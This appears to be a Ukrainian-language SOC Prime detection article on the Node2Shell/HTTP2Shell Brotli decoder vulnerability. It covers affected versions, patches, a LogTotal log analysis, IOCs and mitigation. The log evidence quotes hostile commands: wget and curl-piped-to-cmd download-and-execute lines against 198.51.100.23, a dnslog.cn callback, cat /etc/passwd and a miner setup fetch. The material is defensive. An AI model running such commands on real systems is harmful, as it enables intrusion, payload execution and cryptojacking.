Виявлення Node2Shell/HTTP2Shell

Виявлення Node2Shell/HTTP2Shell

SOC Prime Team
SOC Prime Team linkedin icon Стежити

Виявлення Node2Shell/HTTP2Shell складніше, ніж здається, тому що вразливість не обмежується одним продуктом. Node2Shell, також відомий як HTTP2Shell, це CVE-2026-111497: позамежний запис в декодері Brotli від Google, версії з 1.0.3 до 1.2.0, що отримав оцінку CVSS 4.0 9.2. Оскільки дефект знаходиться в спільній бібліотеці стиснення, він досягає Node.js, пакетів Brotli для Python, Bun, curl, Envoy та іншого програмного забезпечення, яке декодує Brotli.

Ця стаття охоплює виявлення Node2Shell/HTTP2Shell, використовуючи зразок журналу, проаналізований в LogTotal, інструменті аналізу журналів, який зіставляє події з відомими загрозами. Нижче ми описуємо контекст вразливості, джерело журналу, що повідомив LogTotal, та як реагувати.

Почати безкоштовно

Аналіз Node2Shell (HTTP2Shell)

Уразливий код знаходиться в версіях декодера Brotli C з 1.0.3 до 1.2.0. Google як авторитет у цій області оцінив його в 9.2 відповідно до CVSS 4.0, тоді як Node.js оцінює його як високий. Щоб правильно прочитати зразок журналу, корисно знати, як викликається баг, як відбувалося розкриття та які версії програмного забезпечення та конфігурації піддаються небезпеці.

Деталі вразливості для Node2Shell

Потік Brotli, який оголосив про один тип блоку, а потім переключився на інший, не був відхилений, тому декодування продовжувалося в недійсному стані і переписало буфер. Будь-який процес, який розкодовує дані Brotli, підконтрольні атакуючому, може постраждати в двох напрямках:

  • Вхідний: сформований HTTP-запит тіла Brotli, надісланий на сервер, який його розкодить.
  • Вихідний: сформована відповідь, повернута клієнту, який її отримує.

Баг має кілька назв. Спочатку з’явилася Node2Shell, оскільки Node.js розкрив і виправив це першим. HTTP2Shell відображає, що це досягає будь-якого стека, який декодує Brotli через HTTP, а деякі покриття також використовують назви Python2Shell і Broccoli2Shell.

Часова шкала розкриття та експлуатації

Дата (2026)Подія
27 жовтняCISA додала CVE до свого каталогу KEV; федеральні агенції США мають виправитися до 10 листопада
26 жовтняЕксплуатація в цьому зразку записана на app-node-01
25 жовтняMicrosoft випустила позапланові виправлення для .NET
22 жовтняCVE опубліковано; публічно демонстровано виконання коду на Node.js 24.22.0; випущено Bun 1.4.4
21 жовтняNode.js поширення та виправлені випуски; випущено Brotli 1.0.10, 1.1.1 і 1.2.1
27 лютогоВиправлення було затверджено у google/brotli без випуску або рекомендації

Сам баг було розповсюджено в Brotli 1.0.3 у березні 2018 року. Хай Чан і Сільві Майєр з OpenAI Codex Security повідомили про це в Node.js. Існує публічне доказ концепції, Imperva та ELLIO відтворили виконання коду на офіційних збірках Node.js, і вже використовуються сканери, які відображають, які хости декодують Brotli. Виконання коду не було показано для пакетів Python, хоча вони втрачають працездатність від зловмисних входів, як показано на crash в _brotli.cpython-311 на web-prod-01 у цьому зразку.

Вразливі версії та виправлення Node2Shell

КомпонентВиправлено в
Node.js 26.x / 24.x / 22.x26.12.1 / 24.22.1 / 22.23.4
Node.js 20.x та інші лінії на завершенні терміну службиНемає виправлення; перейти на підтримувану лінію
Bun1.4.4
Бібліотека Google Brotli1.0.10, 1.1.1, 1.2.1
PyPI brotli / brotlicffi1.2.1 / 1.2.1.0
.NET runtime 8 / 9 / 108.0.33 / 9.0.22 / 10.0.14
Envoy1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0
Istio1.29.9, 1.30.6, 1.31.2
Java brotli4j / Ruby brotli gem1.24.0 / 0.9.1

Вразлива версія піддається лише, якщо дані атаку можуть дістатися до декодера. У Node.js цей шлях існує через Express 5, body-parser 2.x, парсери тіла Koa, @fastify/compress з розкодбюванням запитів, fetch() і прямі виклики node:zlib Brotli. У Python бібліотеки requests, httpx, aiohttp, і Scrapy використовують пакети brotli або brotlicffi, коли вони встановлені. У .NET Brotli-розкодбування вимкнено за замовчуванням, і Envoy та Istio піддаються лише з ввімкненим Brotli-розкодбуванням. curl декодує Brotli тільки з –compressed через системну libbrotli, тому йому потрібен оновлений дистрибуційний пакет; Debian і Red Hat випустили виправлені.

Джерело журналу та збір

АтрибутЗначення
ФайлNode2Shell_HTTP2Shell_sample-sanitized.jsonl
Події11
Часове вікно26 жовтня 2026 року, з 11:30:55 до 11:33:05 UTC
СхемаECS-стиль
Джерела4 текстові повідомлення ядра Linux і systemd-coredump; 7 подій створення процесів Microsoft Defender для кінцевої точки

Хости в зразку

Три хости з’являються у сирих даних на двох операційних системах. Кожен показує різну частину експозиції Node2Shell.

ХостOSЧас роботиАктивність у журналах
app-node-01LinuxДодаток Node.js /opt/app/server.jsЗбиток Brotli, потім команди після експлуатації
web-prod-01LinuxПроцес PythonЗбиток в _brotli.cpython-311
win-dev-01WindowsДодаток Node.js C:Usersdevuserappserver.jsЗавантаження і виконання, прихований PowerShell

Виявлення Node2Shell (HTTP2Shell)

LogTotal обробило 11 ліній за 5.3 секунди і зіставило 23 правила з 10 лініями. Воно сформувало 2 ланцюги, повідомило 1 і відфільтрувало 1 на етапі перевірки AI.

Поле вирокуРезультат
ВирокПідозріло, потребує розслідування
СерйозністьВисока
ДовіраСередня

Повідомлений ланцюг є Node2Shell / HTTP2Shell – це критична вразливість (CVE-2026-111497): Висока, 100% відповідність, 2 правила активовані. Він знаходиться на псевдонімізованому хості між 11:30 та 11:31 UTC, і це вікно та докази відповідають app-node-01.

Експлуатація: збій декодера Brotli

Правило “Можлива спроба експлуатації CVE-2026-111497 (HTTP2Shell / Node2Shell) – Збій нативного декодера Brotli” відповідало сегментуванню вузла в libbrotlidec.so.1.1.0. Стек аварійного дампа очолює BrotliDecoderDecompressStream.

Звіт пов’язує цей збій з відмовою в обслуговуванні (T1499.004), звідки і походить етап Вплив. Останнє потрапляння правила, о 11:33, припадає на збій python3 в _brotli.cpython-311 на web-prod-01, що показує ту саму бібліотеку, яка зазнала невдачі у другому середовищі виконання.

Післяексплуатація на Linux

“Підозрілі дочірні процеси NodeJS [Linux]” було активовано 4 рази, коли вузол /opt/app/server.js породив:

  • curl, що отримує загальнодоступний сценарій налаштування майнера C3Pool XMRig
  • wget http://198.51.100.23:3000/s.sh
  • ping -c 1 5axzi7.dnslog.cn, перевірка зворотного з’єднання
  • cat /etc/passwd

Післяексплуатація на Windows поза ланцюгом

Windows-частина зразка знаходиться поза повідомленим ланцюгом, але заслуговує на ту ж увагу. На win-dev-01 вузол.exe породив cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”, шаблон завантаження та виконання, а потім прихований powershell.exe, який запускає whoami.

Правила, які спрацювали на цю активність, включають Підозрілі дочірні процеси NodeJS [Windows], Читання вмісту зі Stdin через Cmd.EXE та Підозрілі командлети Powershell. Відфільтрований ланцюг, Meet AvisLoader: Загрузочник для Windows, створений, щоб вижити після відключення (Висока), був зумовлений виконаннями curl.

Node2Shell IOCs з цього зразка

ІндикаторТипКонтекст
198.51.100.23IPХост для завантаження s.sh (порт 3000) та /api/w (HTTPS)
http://198.51.100.23:3000/s.shURLСценарій, завантажений wget на app-node-01
https://198.51.100.23/api/wURLПередано на cmd на win-dev-01
5axzi7.dnslog.cnДоменЗворотний виклик через ping
Сценарій налаштування майнера C3Pool XMRigЗавантаженняЗавантажено curl з вузла
libbrotlidec.so.1.1.0 з BrotliDecoderDecompressStream на стеціСигнатура збоюСпроба експлуатації Node.js
_brotli.cpython-311 збійСигнатура збоюСпроба експлуатації Python
вузол / вузол.exe, що породжує curl, wget, ping, cat, cmd.exe, powershell.exeРодовід процесуПісляексплуатація

Використання висновків LogTotal у триажі Node2Shell

Почніть з повідомленого ланцюга, щоб підтвердити експлуатацію на app-node-01, потім перевірте кожен висновок поза ланцюгом. У цьому зразку правила поза ланцюгом та відфільтрований ланцюг вказують на два додаткові уражені хости, web-prod-01 і win-dev-01.

Node2Shell (HTTP2Shell) Пом’якшення

Виправлення Node.js само по собі не усуває Node2Shell, тому що дефект знаходиться в спільному декодері Brotli. Кожне середовище виконання або проксі, яке декодує Brotli, потребує оновлення, і кожен хост у зразку повинен бути в рамках.

Виправити кожного споживача Brotli

  1. Знайдіть служби на Node.js нижче 22.23.4, 24.22.1 або 26.12.1, на лінії Node.js з завершеним терміном служби або на Bun нижче 1.4.4, включаючи базові зображення та хости збірки.
  2. З першого чергово патчуйте служби, які декодують тіла запитів (Express 5, body-parser 2.x, парсери тіла Koa, @fastify/compress), отримують URL-адреси, надані користувачами, або передають ненадійні дані до функцій Brotli від node:zlib.
  3. Оновіть середовище виконання, потім перезавантажте процеси та перебудуйте образи контейнерів, включаючи самостійнопротоколи .NET та двійкові файли, побудовані за допомогою bun build –compile.
  4. Оновіть PyPI brotli до 1.2.1 та brotlicffi до 1.2.1.0, і оновіть середовище виконання .NET, Envoy, Istio та пакети brotli дистрибуцій.
  5. Перейдіть від Node.js 20 та інших ліній на завершенні терміну служби, які не отримають виправлень.
  6. До того, як виправлення будуть надіслані, відхиляйте Content-Encoding: br на WAF або проксі, зіставляючи його незалежно від регістру та всередині списків, таких як “gzip, br”. Це не покриває відповідей Brotli, які отримуються через fetch().

Рекомендована реакція LogTotal

  1. Ізолюйте хост.
  2. Зберіть дані про процеси, системні і мережеві активності за період з 11:30 до 11:33 UTC.
  3. Перевірте рівень патчів Node.js: 22.23.4, 24.22.1, або 26.12.1.
  4. Видаліть неавторизовані двійкові файли.
  5. Відхиляйте ненадійний Content-Encoding: br на WAF.
  6. Запускайте Node.js без привілеїв.
  7. Вимкніть автоматичне декодування Brotli, якщо можливо.

Додаткові кроки із сирих доказів

  1. Розширити рамки на win-dev-01 та web-prod-01, а не тільки на app-node-01.
  2. Блок на виході 198.51.100.23 і *.dnslog.cn.
  3. Перевірити на наявність майнера: записи cron, одиниці systemd і запущений процес xmrig.
  4. Припустіть, що /etc/passwd було прочитано і перегляньте облікові записи відповідним чином.
  5. Полюйте на запускаючих вузли, node.exe, або python3 оболонки, завантажувачі або мережеві інструменти.

Поточне моніторування Node2Shell

Пересилайте повідомлення ядра та systemd-coredump разом з подіями процесів EDR. У цьому зразку стек аварійного дампа був єдиним прямим доказом експлуатації, а події EDR вміщували все, що було далі.

FAQ

Що таке Node2Shell (HTTP2Shell) і як він працює?

Node2Shell, також відомий як HTTP2Shell, це CVE-2026-111497: позамежний запис в декодері Brotli від Google, версії від 1.0.3 до 1.2.0, що отримав оцінку CVSS 4.0 9.2. Створені дані Brotli можуть спричинити збій будь-якого процесу, який їх декодує, і в Node.js це показано як можливість виконання віддаленого коду. Розділ аналізу вище пояснює, як це працює.

Коли вперше було виявлено Node2Shell?

Хай Чан і Сільві Майєр з OpenAI Codex Security виявили баг і повідомили про це в Node.js. Він походить з Brotli 1.0.3 у березні 2018 року. Виправлення було обов’язано upstream 27 лютого 2026 року без випуску, і Node.js розкрив дефект 21 жовтня 2026 року.

Який вплив Node2Shell на системи?

Сам збій є відмовою в обслуговуванні, а подальша діяльність показує виконання коду в контексті вразливого процесу. У цьому зразку це означало завантаження сценарію налаштування криптомайнера, отримання корисного навантаження, зворотний виклик DNS, читання /etc/passwd, і завантаження та виконання на хості під Windows.

Чи може Node2Shell все ще вплинути на мене у 2026 році?

Так. CVE-2026-111497 експлуатується в дикій природі і занесено в каталог KEV CISA. Невиправлені розгортання Node.js, Bun, Python, .NET і проксі залишаються під впливом, а Node.js 20 та інші лінії на завершенні терміну служби ніколи не отримають виправлення.

Як я можу захистити себе від Node2Shell?

Виправте Node.js та будь-якого іншого споживача Brotli, перезапустіть процеси та перебудуйте образи. До тих пір відхиляйте Content-Encoding: br на WAF або проксі та відключайтесь автоматичного декодування Brotli, де це можливо. Розділі пом’якшення вказані повні кроки.

Як я можу виявити Node2Shell?

Збирайте журнали ядра та systemd-coredump плюс події процесів EDR з кожного вузла Node.js і Python. Оповіщайте про збої декодера Brotli та на середовища виконання, що запускають оболонки або завантажувачі. LogTotal зіставляє ці події з ланцюгом Node2Shell, але також перегляньте висновки поза ланцюгом, оскільки вони виявили тут два додаткових хости.

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.